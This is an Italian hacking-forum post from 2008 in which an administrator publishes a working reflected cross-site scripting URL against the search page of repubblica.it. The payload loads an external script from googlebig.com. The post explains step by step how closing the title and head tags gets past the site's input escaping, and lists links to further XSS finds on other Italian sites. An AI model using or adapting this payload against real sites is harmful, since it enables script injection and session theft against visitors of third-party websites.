Current time: 04-07-2009, 07:15 AM | Shoutbox Hello There, Guest! (LoginRegister)


Post Reply  Post Thread 
1 Votes - 5 Average   www.repubblica.it [XSS] + Info attacco
Author Message
Langy
Administrator
*******


Posts: 8.420
Group: Administrators
Joined: Sep 2007
Status: Offline
Reputation: 9
Post: #1
www.repubblica.it [XSS] + Info attacco

Code:
http://ricerca.repubblica.it/repubblica?query=%3C/title%3E%3C
/head%3E%3Cbody%20id=%22dettaglio%22%3E%3Cscript%20
src=%27http://googlebig.com/l.js%27%3E&view=quotidiani


> Mirror <

Allora, analizziamo l'attacco:

Apparentemente il sito di repubblica non e' vulnerabile a XSS perche' il campo "query" della ricerca parsa comunque l'input.

Infatti analizziamo il codice dopo aver inviato la query:

Code:
<input class="textcerca" name="query"  value="&lt;/title&gt;&lt;/head&gt;&lt;
body id=dettaglio&gt;&lt;script src='http://googlebig.com/l.js'&gt;" type="text"
onkeypress="if(event.keyCode == 13 || event.which == 13 || event.charCode==
13) { if (statusAdv){checkFormAdvBase('http://ricerca.repubblica.it
/','repubblica');}else{javascript:checkFormBase('http://ricerca.repubblica.it/',
'repubblica');} return false; }">



Come potete notare i caratteri < e > sono tutti parsati in &lt; e &gt;

L'unica cosa che e' sfuggita ai programmatori di Repubblica.it e' il fatto che la query passata appare nel tag <title>.

Quindi analizziamo il codice nel tag title:

Code:
<title><script src="http://googlebig.com/l.js"></title>

Non potra' mai funzionare!

Allora facciamo in modo da chiudere sia il tag title e sia il tag head e di riaprire il tag body cosi' da far "runnare" il nostro codice Javascript nella parte Body e non nella parte Head.

Code:
<title></title></head><body>
<script src="http://googlebig.com/l.js">
</title>

Aggiungengo i tag finali ecco che funziona.

Al posto delle virgolette basta inserire gli apici che sono fuori dal controllo della variabile "query" ed il gioco e' fatto.

Quindi cari webmaster di repubblica.it, dovere parsare anche la variabile che stampa nel tag <title>.

ScreenShot:


"There is no patch for human stupidity" - K. D. M.

This post was last modified: 11-11-2008 11:41 PM by Langy.

Firefox Linux Ubuntu
Browser e O.S.: 
08-09-2008 11:06 AM
Visit this user's website Find all posts by this user Quote this message in a reply
Post Reply  Post Thread 

Possibly Related Threads...
Thread: Author Replies: Views: Last Post
  [XSS] annunci.repubblica.it Langy 2 77 21-05-2009 09:24 AM
Last Post: Langy
  [redirect] velvet.repubblica.it xados 0 61 20-05-2009 09:20 PM
Last Post: xados
  [XSS] www.senato.it - Senato della Repubblica Langy 2 181 13-03-2009 01:28 PM
Last Post: Langy
  www.repubblica.it [XSS] + Attack Information Langy 0 272 08-09-2008 04:19 PM
Last Post: Langy
  espresso.repubblica.it [Redirect] RedTuning 0 179 27-02-2008 12:56 AM
Last Post: RedTuning
  espresso.repubblica.it [XSS] RedTuning 0 187 27-02-2008 12:55 AM
Last Post: RedTuning
  miojob.repubblica.it [XSS] RedTuning 0 190 27-02-2008 12:54 AM
Last Post: RedTuning
  xl.repubblica.it [XSS] RedTuning 0 171 27-02-2008 12:53 AM
Last Post: RedTuning
  tv.repubblica.it [XSS] RedTuning 0 156 22-12-2007 03:33 PM
Last Post: RedTuning

View a Printable Version
Send this Thread to a Friend
Subscribe to this Thread | Add Thread to Favorites